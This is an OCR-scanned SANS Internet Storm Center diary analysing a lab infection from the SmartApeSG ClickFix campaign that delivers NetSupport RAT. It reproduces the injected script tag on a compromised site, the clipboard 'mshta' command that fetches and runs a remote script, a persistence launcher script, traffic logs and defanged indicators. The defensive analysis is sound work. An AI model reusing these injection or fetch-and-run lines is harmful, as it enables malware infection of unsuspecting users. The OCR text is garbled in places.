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STORM
CENTER

SmartApeSG campaign uses ClickFix page to push NetSupport RAT,
(Wed, Nov 12th)

Introduction

This diary describes a NetSupport RAT infection | generated in my lab from the SmartApeSG
campaign that used a ClickFix-style fake CAPTCHA page.

Known as ZPHP or HANEYMANEY, SmartApeSG is a campaign reported as early as June 2024.
When it started, this campaign used fake browser update pages. But it currently uses the ClickFix
method of fake CAPTCHA-style “verify you are human” pages.

This campaign pushes malicious NetSupport RAT packages for its initial malware infection, and
I've seen follow-up malware from these NetSupport RAT infections.

How To Find SmartApeSG Activity
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| can usually find SmartApeSG indicators from the Monitor SG account on Mastodon. | use
URLscan to pivot on those indicators, so | can find compromised websites that lead to the
SmartApeSG script.

The Infection

Sites compromised through this campaign display pages with a hidden injected script. Given the
right conditions, this script kicks off a SmartApeSG chain of events. The image below shows an
example.

D | org x view-sourcechttps:// -org x  + — o X

G | © view-sourcethttpsy//  .org Q) @ A v = 3'
212 new Date().getTime(),event: 'gtm.js'});var f=d.getElementsByTagh:
213 | j=d.createElement(s),dl=1!="datalayerH'? '&l="+1:"";j.async=true;
214 "https://www.googletagmanager.com/gtm.js?id="+i+d1l;f.parentNode.insertBefore(j,f);
215 })(window,document, 'script’, 'dataLayerH', 'GTM-TL3NZ7C");</script>
216 «!-- End Google Tag Manager HAGADONE -->

frostshiledr.com,/xss/buf js 1/1 A~ v YOX

218 | <!-- Google Tag Manager -->

210 ¢script»(function(w,d,s,l,i){w[1]=w[1]]||[];w[1].push({ gtm.start":

220 new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[@],

221 j=d.createElement(s),dl=1!="datalayerN'?'&1l="+41:"'"';j.async=true;j.src=

222 "https://www.googletagmanager.com/gtm.js?id="+i+dl; f.parentNode.insertBefore(j,f);
223 })(window,document, 'script”, 'datalLayerN', "GTM-NRW39GX');</script>

224 |¢script src=//frostshiledr.com/xss/buf.js></script>

225 <1-- END Google Tag Manager --> - SmartApeSG script injected in
227 | <!-- YouTube Modal Videos --> page from compr0m|sed S|te

228 | <script language="javascript™>
220 jQuery(document).ready(function() {

230 JQuery(".yt-modal’).on( " 'click', function(event) {
231 event.preventDefault();

232 event.stopPropagation();

233 event.stopImmediatePropagation();

234 document.getElementById( ' yt-video-player’).src=jQuery(this).attr( href');
235 document.getElementById( 'yt-modal-overlay').style.display="block";
236 return false;

Shown above: Injected SmartApeSG script in a page from the compromised site.

In some cases, this injected script does not kick off the infection chain. I've had issues getting an
infection chain during certain times of day, or if | try viewing the compromised website multiple
times from the same source IP address. | don’t know what the conditions are, but if those
conditions are right, the compromised site shows a fake CAPTCHA-style “verify you are human”

page.
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Verify you are human by completing the action below

D Verify you are human ~ cLounriame

.org needs to review the security of your connection before proceeding.

Ray ID: hogdtd21dkE

Performance and secunty by Cloudflare

Shown above: Fake CAPTCHA page displayed by the compromised site.
Clicking the “verify you are human” box does the following:

* Injects malicious content into the Windows host'’s clipboard
o Generates a pop-up with instructions to open a Run window, paste content into the window,

and run it.

The clipboard-injected content is a command string that uses the mshta command to retrieve and
run malicious content that will generate a NetSupport RAT infection.
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Verify you are human by Co—— L
Complete these verification steps use
M keyboard
( { Verifying... i To prove you are not robot
1. Press & hold the Win key + R
2. In verification window, press Ctrl key + V & Run ®
.org needs to review the set 3. Press Enter key on your keyboard lir
@ J @ Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you.

Open: | fc "start /B mshta https:,.f,.fnmstamuld.coWsihhl.php1 ~|

Ray 1D Teb6T07ydB3s [ 0K Cancel Browse...

Performance and security by Cloudflare

Shown above: Following ClickFix directions to paste content (a malicious command) into the Run
window.

Below is a URL list of the HTTPS traffic directly involved in this infection.

Protocol Host URL Body Content-Type Process
HTTPS .org / 18,612 text/html; charset=UTF-8 msedge:5828
HTTPS frostshiledr.com [xss/buf.js 2,859 text/javascript msedge:5828
HTTPS frostshiledr.com [xss/index.php?iArfLYKw 140 application/javascript msedge:5828
HTTPS frostshiledr.com /xss/bof.js?0e58069bbdd36e9a36 187,260 text/javascript msedge:5828
HTTPS newstarmold.com /sibhl.php 2,008 text/html; charset=UTF-8 mshta:2644
HTTPS  www.iconconsultants.com /4nnjson.zip 9,192,105 application/zip powershell:4,

Shown above: HTTPS traffic directly involved in this SmartApe SG activity.
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10:37.307

Dst
143.198.148.178
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194.180.191.121
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194.180.191.121

184 186 101 191

443
443
443
443
443
443
443
443

443
443

443
443

443
443
443
443
443
443
443
443
443
443
443

AAT

Host

ntbg.org
ntbg.org
frostshiledr.com
newstarmold. com

www. iconconsultants. com

194.180.191.121
194.180.191.121
194.180.191.121
194.180.191.121
194.180.191.121
194.180.191.121
194.180.191.121

194.
194,
194,
194.
194.
194,
194.

180,191.121
180.191.121
180.191.121
180.191.121
180.191.121
180.191.121
180,191.121

194.180.191.121
194.180.191.121
194.180,191.121
194.180.191.121
194.180.191.121
194,180.191.121
194.180.191.121

104 184 161 191

Info

Client Hello (SNI=ntbg.org)
Client Hello (SNI=ntbg.org)
Client Hello (SNI=frostshiledr.com)
Client Hello (SNI=newstarmold.com)

Client Hello

POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST

POST
pneT

http://194,180@,191,121/fakeurl.htm
http://194.188.191.121/fakeurl.htm
http://194.1808.191.121/fakeurl.htm
http://194.180.191,121/fakeurl.htm
http://194.180.191.121/fakeurl.htm
http://194.180.191.121/fakeurl.htm
http://194.180.191.121/fakeurl.htm

http://194.180.191.
http://194.188.191.
http://194.186.191.
http://194.180.191.
http://194.188.191.
http://194.186.191.
http://194.180.191.

121/fakeurl.htm
121/fakeurl.htm
121/fakeurl.htm
121/fakeurl.htm
121/fakeurl.htm
121/fakeurl.htm
121/fakeurl.htm

http://194.188,191,121/fakeurl.htm
http://194.188.191.121/fakeurl.htm
http://194.180.191.121/fakeurl.htm
http://194.188,191,121/fakeurl. htm
http://194.188.191.121/fakeurl.htm
http://194.186.191.121/fakeurl.htm
http://194.188,191,121/fakeurl. htm

hbtns F/10A 186 101 191 ffabanr] him

Shown above: Traffic from the infection filtered in Wireshark.

{SNI=www. iconconsultants.com)

HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTR/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1

UTTE /1 1

{application/x—wwe
{application/x—wwe
{application/x—www
(application/ x—wwe
{application/x—wwe
{application/x—www
{application/ x—wwe
{application/x—wwe
{application/x—www
{application,/x=www
{application/x—wwe
{application/x—wwe
{application, x=ww«
{application/x—wwe
{application/x—wwe
{application, x—www
{application, x—wwy
(application,x—wwe
{application, x—www
{application/ x—wwe
{application/x—wwe

fannlicatinn fvone.

The malicious NetSupport RAT package stays persistent on the infected host through a Start

Menu shortcut. The shortcut runs a .js file in the user’s AppDatalLocalTemp directory. That .js file

runs the NetSupport RAT executable located in a folder under the C:ProgramData directory.
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CA\Users), \AppData\Roa = +

IS i o J > -+ Micresoft > Windows > StartMenu > Programs > Startup Search Startup Q
® New - (}{ ) @D = E,T T sort ~ = View bl (1) Details
Mame Date modified Type = m] =
C\ProgramData\psrockkilnn < +
| ;l.Wi ndowsUpdate 11,/12/2025 7:18 PM Shorteut
% & s c J > -+ psrookkiinn > Searc 2
General Shoncut  Dighal res Security Details Previous Versions @ New - - (B Details
&) WindowsUpdats Name Date modified Type Size
Launcher le folder
Target type: Application G appicon.ico e 96 KB
Target location: system32 4| appican_16.png 1 KB
%| appicon_32.png 2 KB
Target we /B “Clilsers! \AppDatalLocalTempirun js @ appicon_75.png - KB
% appicon_128.png KB
Swmrtin: w | appinfo.ini TKB
| atmfd.dil 366 KB

Shorcutkey:  Mane

© classic.xml 8/21/2025 1:40 AM

Run: Minimized |i client32 exe 4/30/2025 B:38 AM Application 118 KBJ
| 81items 1item selected 117 KB % =0
CAUsersy, ‘AppData\loc * !
I, o X
&« 1 &) AppData > Llocal > Temp > Sed B Tunjs . 1
f . " . — File Edit View - & @
& New X5 (0 = i) Il sort = View wee
Name Date modified Type Size var s=new
ActiveXObject("WScript.Shell™);s.Run("C:/ProgramData/
cv_debug.log 11/12/2025 7:31 PM Text Document 2 KB psrookkllnn/client32.exe”,@,false);
2 runjs N 11/12/2025 7:18 PM JavaScript File 1KB
= temp_executer_file.psi I } T1/12/2025 T:18 PM Windows PowerSh, IKB Ln 2, Col1 94 characte  Plain text 100% Windows (  UTF-8
ANFN22ad-hh12-Adra-ahn2-Arfdd 1A 1112028 S-20 PAA ThAP Fila 1503 KR — Pe—

Shown above: The malicious NetSupport RAT package, persistent on an infected Windows host.

Indicators From This Activity
The following URLs were noted in traffic from this infection:

o hxxpsl[:]//frostshiledr[.]Jcom/xss/buf.js <— injected SmartApeSG script

o hxxpsl[:]//frostshiledr[.]Jcom/xss/index.php?iArfLY Kw

o hxxpsl[:])//frostshiledr[.]Jcom/xss/bof.js?0e58069bbdd36e9a36 <- fake CAPCHA
page/ClickFix instructions

e hxxps[:]//newstarmold[.]Jcom/sibhl.php <— Script retrieved by ClickFix command

o hxxps[:]//www.iconconsultants[.]Jcom/4nnjson.zip <- zip archive containing malicious
NetSupport RAT package

e hxxp[:]//194.180.191[.]121/fakeurl.htm <— NetSupport RAT C2 traffic over TCP port 443

The following is the zip archive containing the malicious NetSupport RAT package:

o SHA256 hash: 1€9a1be5611927¢22a8c934f0fdd716811e0c93256b4ee784fadd9daaf2459a1
o File size: 9,192,105 bytes
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 File type: Zip archive data, at least v1.0 to extract, compression method=store
« File location: hxxps[:]//www.iconconsultants[.]Jcom/4nnjson.zip
o Saved to disk as: C:ProgramDatapsrookk11nn.zip

Note: These domains change on a near-daily basis, and the NetSupport RAT package and C2
server also frequently change.

Bradley Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-
Noncommercial 3.0 United States License.
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